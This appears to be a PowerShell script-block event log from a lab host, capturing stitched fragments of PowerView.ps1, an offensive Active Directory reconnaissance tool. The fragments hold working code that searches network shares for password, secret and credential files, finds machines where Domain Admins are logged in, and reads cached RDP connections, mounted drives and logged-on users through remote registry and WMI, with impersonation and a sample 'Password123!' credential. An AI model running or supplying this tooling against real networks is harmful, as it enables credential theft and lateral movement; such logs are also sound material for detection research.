Add-Member Noteproperty 'ProcessID' $_.ProcessID $Process | Add-Member Noteproperty 'Domain' $Owner.Domain $Process | Add-Member Noteproperty 'User' $Owner.User $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') $Process } } catch { Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" } } } } function Find-InterestingFile { <# .SYNOPSIS Searches for files on the given path that match a series of specified criteria. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION This function recursively searches a given UNC path for files with specific keywords in the name (default of pass, sensitive, secret, admin, login and unattend*.xml). By default, hidden files/folders are included in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path UNC/local path to recursively search. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path "C:\Backup\" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose "Excluding: $($_.FullName)" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a "powershell pipeline runner" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose "[New-ThreadedFunction] Threads executing" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } Start-Sleep -Seconds 1 } While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) $SleepSeconds = 100 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." # cleanup- make sure we didn't miss anything for ($i=0; $i -lt $SleepSeconds; $i++) { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() $Job.PS.Dispose() } Start-Sleep -S 1 } $Pool.Dispose() Write-Verbose "[New-ThreadedFunction] all threads completed" } } function Find-DomainUserLocation { <# .SYNOPSIS Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon The found user list is compared against the target list, and any matches are displayed. If -ShowAll is specified, all results are displayed instead of the filtered set. If -Stealth is specified, then likely highly-trafficed servers are enumerated with Get-DomainFileServer/Get-DomainController, and session enumeration is executed only against those servers. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3141Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential "TESTLAB\administrator" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" } } catch { Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the "Windows Remote Desktop Connection Client" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" } } } catch { Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue if (-not $UserName) { $UserName = '' } if ($RemotePath -and ($RemotePath -ne '')) { $MountedDrive = New-Object PSObject $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer $MountedDrive | Add-Member Noteproperty 'UserName' $UserName $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') $MountedDrive } } } catch { Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" } } } catch { Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } } function Get-WMIProcess { <# .SYNOPSIS Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Uses Get-WMIObject to enumer421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3041 the sections of the structure - have to do it this way for V2 $Session = $Info | Select-Object * $Session | Add-Member Noteproperty 'ComputerName' $Computer $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Session } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-RegLoggedOn { <# .SYNOPSIS Returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys. Note: This function requires only domain user rights on the machine you're enumerating, but remote registry must be enabled. Author: Matt Kelly (@BreakersAll) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID .DESCRIPTION This function will query the HKU registry values to retrieve the local logged on users SID and then attempt and reverse it. Adapted technique from Sysinternal's PSLoggedOn script. Benefit over using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges required (NetWkstaUserEnum requires remote admin access). .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-RegLoggedOn Returns users actively logged onto the local host. .EXAMPLE Get-RegLoggedOn -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-RegLoggedOn Returns users actively logged on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RegLoggedOnUser A PSCustomObject including the UserDomain/UserName/UserSID of each actively logged on user, with the ComputerName added. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.RegLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost' ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { try { # retrieve HKU remote registry values $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") # sort out bogus sid's like _class $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' if ($UserName) { $UserName, $UserDomain = $UserName.Split('@') } else { $UserName = $_ $UserDomain = $Null } $RegLoggedOnUser = New-Object PSObject $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') $RegLoggedOnUser } } catch { Write-Verbose 